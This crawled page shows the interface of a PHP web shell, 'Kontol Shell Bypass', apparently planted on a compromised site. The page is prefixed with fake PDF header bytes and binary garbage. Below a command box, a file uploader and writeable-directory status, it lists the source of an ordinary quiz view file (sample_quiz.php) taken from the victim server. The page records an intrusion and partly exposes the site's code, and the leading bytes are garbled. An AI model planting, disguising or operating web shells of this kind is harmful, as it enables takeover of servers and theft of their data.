%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /var/www/html/chalkbank.com/application/views/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : /var/www/html/chalkbank.com/application/views/sample_quiz.php
 <div class="main-wapper-inner">
 <div class="top-menus">
 <div class="container-fluid">
   <div class="row">
		<div class="col-lg-12">
			<h3><i class="fa fa-print fa-x"></i> <?php echo $quiz['quiz_name'];?></h3>
            <a href="javascript:void(0)" class="btn btn-default button3" onclick="PrintDiv();"><i class="fa fa-print fa-x"></i> <?php echo $this->lang->line('print');?></a>
		</div><!-- /input-group -->
   </div>
 </div><!-- /.col-lg-6 -->
</div><!-- /.row -->
<div class="home-inners sample-quiz">
 <div class="container-fluid">
<div class="row">
<form method="post" id="quiz_detail" action="<?php echo site_url('quiz/download_quiz/'.$quiz['quid']);?>">
<div class="col-md-12">
<div class="main-in">
<div> 
<?php 
if($this->session->flashdata('message')){
	echo $this->session->flashdata('message');	
}
?>	
<div class="table-responsice" id="divToPrint">
<div class="quiz-structions">
<h3><?php echo $quiz['quiz_name'];?></h3>
</div>
<div class="sample-structions">
	<h3><img src="<?=base_url('images/icons8-info-24.png')?>" style="width:26px; margin:0 5px 0 0; " /> INSTRUCTIONS</h3>
	<ol>
		<li>This <strong><?php echo $quiz['quiz_name'];?></strong> test consists of <strong><?php echo $quiz['total_quiz_questions'];?></strong> questions.</li>
		<li>We suggest you allow <strong><?php echo $quiz['duration'];?> min.</strong> to complete the test.</li>
		<li>Mark your answers in the Answer Sheet only. The Answer Sheet alone will constitute the basis of evaluation.</li>
		<li>Do not make any stray marks anywhere in the answer sheet.</li>
		<li>The candidates are advised to read all options thoroughly.</li>
		<li>Use only HB Pencil to mark the answers in the answer sheet.</li>
		<li>No clarification of any sort regarding the question paper is permitted.</li>
	</ol>
</div>
<?php 
$abc=array(
'0'=>'A',
'1'=>'B',
'2'=>'C',
'3'=>'D',
'4'=>'E',
'6'=>'F',
'7'=>'G',
'8'=>'H',
'9'=>'I',
'10'=>'J',
'11'=>'K'
);
$rcArray = array();
foreach($questions as $qk => $ques){ $rcArray[$ques['rc_qid']][] = $ques['rc_qid']; }
$qt=0;
$rcarrayType = array();
$av = 0;
foreach($questions as $qk => $question){ ?>
<div class="question_container" >
   <div class="q-s" >
		<?php
		if($question['rc_qid']>0) { 
		if($qt==0){
			$totalQus = count($rcArray[$question['rc_qid']]);
			$quesStart = $qk+1;
			$endPoint = $qk+$totalQus;
			$rcarrayType[] = $question['rc_qid'];
		}
		
		if(!in_array($question['rc_qid'],$rcarrayType)){
			$qt=0;	
			$totalQus = count($rcArray[$question['rc_qid']]);
			$quesStart = $qk+1;
			$endPoint = $qk+$totalQus;
			$rcarrayType[$av] = $question['rc_qid'];
			$av++;
		}
		if($qt==0){
		?>
        <div>
			<h4><?php echo $this->lang->line('rc_passages');?> <?php if($quesStart>0 && $endPoint>0 && ($quesStart<>$endPoint)){?><small>(Que No <?php echo $quesStart; ?>-<?php echo $endPoint; ?>)</small><?php }?></h4>
			<div class="re-q">
				<?php echo getrcqiddetails($question['rc_qid']);?>
			</div>
        </div>
		<?php } $qt++; } ?>
		<?php echo '<b>'.$this->lang->line('question');?> <?php echo $qk+1;?>)</b>
		<?php echo $question['question'];?>
		<div class="clearfix"></div>
	</div>
<div class="option_container">
<?php 
// RC Answer choice
if($question['question_type']==$this->lang->line('rc_answer')){

$save_ans=array();
foreach($saved_answers as $svk => $saved_answer){
	 if($question['qid']==$saved_answer['qid']){
		$save_ans[]=$saved_answer['q_option'];
	 }
}
?>
	 <input type="hidden"  name="question_type[]"  id="q_type<?php echo $qk;?>" value="1">
	 <?php
	 $i=0;
	 foreach($options as $ok => $option){
		if($option['qid']==$question['qid']){
	?>
	<div class="op for-image-op"><b><?php echo $abc[$i];?>)</b><div class=" inp-con"><input type="radio" name="answer[<?php echo $qk;?>][]"  id="answer_value<?php echo $qk.'-'.$i;?>" value="<?php echo $option['oid'];?>"   <?php if(in_array($option['oid'],$save_ans)){ echo 'checked'; } ?>  > <span class="checkmark"></span> </div><p <?php if(in_array($option['oid'],$save_ans)){ echo ' style="font-weight:bold;" '; } ?>><?php echo $option['q_option'];?></p> </div>
	 <?php 
	 $i+=1; } else {
	  $i=0;	
			
		}
	}
 }
		 
 // multiple single choice
 if($question['question_type']==$this->lang->line('multiple_choice_single_answer')){
		$save_ans=array();
		 foreach($saved_answers as $svk => $saved_answer){
			 if($question['qid']==$saved_answer['qid']){
				$save_ans[]=$saved_answer['q_option'];
			 }
		 }
	 
	 
	 ?>
	 
	 
	 <input type="hidden"  name="question_type[]"  id="q_type<?php echo $qk;?>" value="1">
	 <?php
	$i=0;
	$correct_options=array();
	foreach($options as $ok => $option){
		if($option['qid']==$question['qid']){
		if($option['score'] >= 0.1){
			$correct_options[]=$option['q_option'];
		}
	?>
		<div class="op for-image-op"><b><?php echo $abc[$i];?>)</b> <div class=" inp-con"  ><input type="radio" name="answer[<?php echo $qk;?>][]"  id="answer_value<?php echo $qk.'-'.$i;?>" value="<?php echo $option['oid'];?>"  > <span class="checkmark"></span> </div><p <?php if(in_array($option['oid'],$save_ans)){ echo ' style="font-weight:bold;" '; } ?>><?php echo $option['q_option'];?> </p></div>
	<?php 
		$i+=1;
	 } else {
		$i=0;	
		}
	} ?>
	<div class='correct-options'>
		<?php echo $this->lang->line('correct_answer').': '.implode(', ',$correct_options); ?>
	</div>
	<?php 
 }
 
// multiple_choice_multiple_answer	
if($question['question_type']==$this->lang->line('multiple_choice_multiple_answer')){
	 $save_ans=array();
	 foreach($saved_answers as $svk => $saved_answer){
		 if($question['qid']==$saved_answer['qid']){
			$save_ans[]=$saved_answer['q_option'];
		 }
	 }
	 
	 ?>
	 <input type="hidden"  name="question_type[]"  id="q_type<?php echo $qk;?>" value="2">
	 <?php
	$i=0;
	foreach($options as $ok => $option){
		if($option['qid']==$question['qid']){
	?>
	<div class="op for-image-op"><b><?php echo $abc[$i];?>)</b> <input type="checkbox" name="answer[<?php echo $qk;?>][]" id="answer_value<?php echo $qk.'-'.$i;?>"   value="<?php echo $option['oid'];?>"  <?php if(in_array($option['oid'],$save_ans)){ echo 'checked'; } ?> > <p><?php echo $option['q_option'];?></p> </div>
	<?php 
	$i+=1;
		}else{
		$i=0;	
			
		}
	}
 }
	 
		// short answer	
		 if($question['question_type']==$this->lang->line('short_answer')){
			 $save_ans="";
			 foreach($saved_answers as $svk => $saved_answer){
				 if($question['qid']==$saved_answer['qid']){
					$save_ans=$saved_answer['q_option'];
				 }
			 }
			 ?>
			 <input type="hidden"  name="question_type[]"  id="q_type<?php echo $qk;?>" value="3" >
			 <?php
			 ?>
			 
		<div class="op for-image-op"> 
		<?php echo $this->lang->line('answer');?> 
		<input type="text" name="answer[<?php echo $qk;?>][]" value="<?php echo $save_ans;?>" id="answer_value<?php echo $qk;?>"   >  
		</div>
	    <?php }
		// long answer	
		if($question['question_type']==$this->lang->line('long_answer')){
			 $save_ans="";
			 foreach($saved_answers as $svk => $saved_answer){
				 if($question['qid']==$saved_answer['qid']){
					$save_ans=$saved_answer['q_option'];
				 }
			 }
			 ?>
		<input type="hidden"  name="question_type[]" id="q_type<?php echo $qk;?>" value="4">
		<div class="op"> 
		<?php echo $this->lang->line('answer');?> <br>
		<?php echo $this->lang->line('word_counts');?> <span id="char_count<?php echo $qk;?>">0</span>
		<textarea name="answer[<?php echo $qk;?>][]" id="answer_value<?php echo $qk;?>" style="width:100%;height:100%;" onKeyup="count_char(this.value,'char_count<?php echo $qk;?>');"><?php echo $save_ans;?></textarea>
		</div>
		<?php }
		// matching	
		 if($question['question_type']==$this->lang->line('match_the_column')){
		 $save_ans=array();
		 foreach($saved_answers as $svk => $saved_answer){
			 if($question['qid']==$saved_answer['qid']){
				// $exp_match=explode('__',$saved_answer['q_option_match']);
				$save_ans[]=$saved_answer['q_option'];
			 }
		 }
			 ?>
			 <input type="hidden" name="question_type[]" id="q_type<?php echo $qk;?>" value="5">
			 <?php
			$i=0;
			$match_1=array();
			$match_2=array();
			foreach($options as $ok => $option){
				if($option['qid']==$question['qid']){
					$match_1[]=$option['q_option'];
					$match_2[]=$option['q_option_match'];
				 $i+=1;
				}else{
				$i=0;	
					
				}
			}
			?>
			<div class="op">
			<table>
			<?php 
			shuffle($match_1);
			shuffle($match_2);
			foreach($match_1 as $mk1 =>$mval){
						?>
						<tr><td>
						<?php echo $abc[$mk1];?>)  <?php echo $mval;?> 
						</td><td>
						
							<select name="answer[<?php echo $qk;?>][]" id="answer_value<?php echo $qk.'-'.$mk1;?>"  >
							<option value="0"><?php echo $this->lang->line('select');?></option>
							<?php 
							foreach($match_2 as $mk2 =>$mval2){
								?>
								<option value="<?php echo $mval.'___'.$mval2;?>"  <?php $m1=$mval.'___'.$mval2; if(in_array($m1,$save_ans)){ echo 'selected'; } ?> ><?php echo $mval2;?></option>
								<?php 
							}
							?>
							</select>

						</td>
						</tr>
				
						
						<?php 
			}
			
			
			?>
			</table>
			 </div>
			<?php
			
		 }
			
		 ?>

		</div> 
 </div>
<?php
}
?>
<!-- bootstrap css -->
<link href="<?php echo base_url('bootstrap/css/bootstrap.min.css');?>" rel="stylesheet">
<!-- custom css -->
<link href="<?php echo base_url('css/style.css?v1.2.2.1');?>" rel="stylesheet">
</div>
<div class="bottom-btns">
<a class="btn btn-default button6" href="<?=base_url('quiz')?>"><?php echo $this->lang->line('cancel');?></a> 
<a class="btn btn-default button3" href="javascript:void(0)" onclick="PrintDiv();"><i class="fa fa-print fa-x"></i> <?php echo $this->lang->line('print');?></a> 

</div>
</div>
</div>
</div>
</form>
</div>
</div>
</div>
</div>

<script type="text/javascript">     
    function PrintDiv() {    
       var divToPrint = document.getElementById('divToPrint');
       var popupWin = window.open('', '_blank', 'width=300,height=300');
       popupWin.document.open();
       popupWin.document.write('<html><body onload="window.print()">' + divToPrint.innerHTML + '</html>');
        popupWin.document.close();
            }
 </script>

Kontol Shell Bypass